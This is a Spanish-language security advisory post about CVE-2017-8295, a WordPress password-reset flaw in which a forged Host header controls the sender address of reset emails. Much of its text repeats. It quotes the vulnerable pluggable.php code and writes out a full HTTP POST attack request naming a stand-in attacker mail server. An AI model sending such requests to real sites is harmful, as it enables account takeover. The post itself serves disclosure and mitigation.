Todas las versiones de WordPress vulnerables a reset de contraseñas
El 3 de mayo, se publicó una nueva vulnerabilidad (CVE-2017-8295) que afecta a todas las versiones de Wordpress, incluyendo la última versión 4.7.4, que puede permitir a un atacante resetear remotamente la contraseña y acceder con cualquier usuario.
La vulnerabilidad está en la página de solicitud de restablecimiento de contraseña, concretamente en la posibilidad de modificar el contenido de la variable SERVER_NAME en la función wp-includes/pluggable.php:
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
Como SERVER_NAME puede ser modificado, se podrá cambiar el Host en la cabecera:
De esta manera, se generará un correo saliente con esa dirección en From/Return-Path.
En definitiva, si se conoce el administrador o la dirección de correo electrónico de cualquier usuario de destino, se puede obtener el enlace de restablecimiento de contraseña por estos u otros métodos y, por ende, restablecer la contraseña de la cuenta de cualquier usuario.
De momento no hay una solución oficial, pero para paliar el problema se recomienda forzar un nombre estático para UseCanonicalName.
Referencia:
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
Contenido completo en fuente original HackPlayers
La vulnerabilidad está en la página de solicitud de restablecimiento de contraseña, concretamente en la posibilidad de modificar el contenido de la variable SERVER_NAME en la función wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename; }
Wordpress utiliza la variable SERVER_NAME para formar la cabecera From/Return-Path del correo. El problema es que la mayoría de los servidores web, como Apache, por defecto setean SERVER_NAME con el hostname provisto por el cliente (dentro de la cabecera HTTP_HOST):https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
Como SERVER_NAME puede ser modificado, se podrá cambiar el Host en la cabecera:
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
Y el resultado es que $from_email en Wordpress será: [email protected]De esta manera, se generará un correo saliente con esa dirección en From/Return-Path.
En definitiva, si se conoce el administrador o la dirección de correo electrónico de cualquier usuario de destino, se puede obtener el enlace de restablecimiento de contraseña por estos u otros métodos y, por ende, restablecer la contraseña de la cuenta de cualquier usuario.
De momento no hay una solución oficial, pero para paliar el problema se recomienda forzar un nombre estático para UseCanonicalName.
Referencia:
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
Contenido completo en fuente original HackPlayers
Via: blog.segu-info.com.ar
Todas las versiones de WordPress vulnerables a reset de contraseñas
Reviewed by Zion3R
on
16:27
Rating: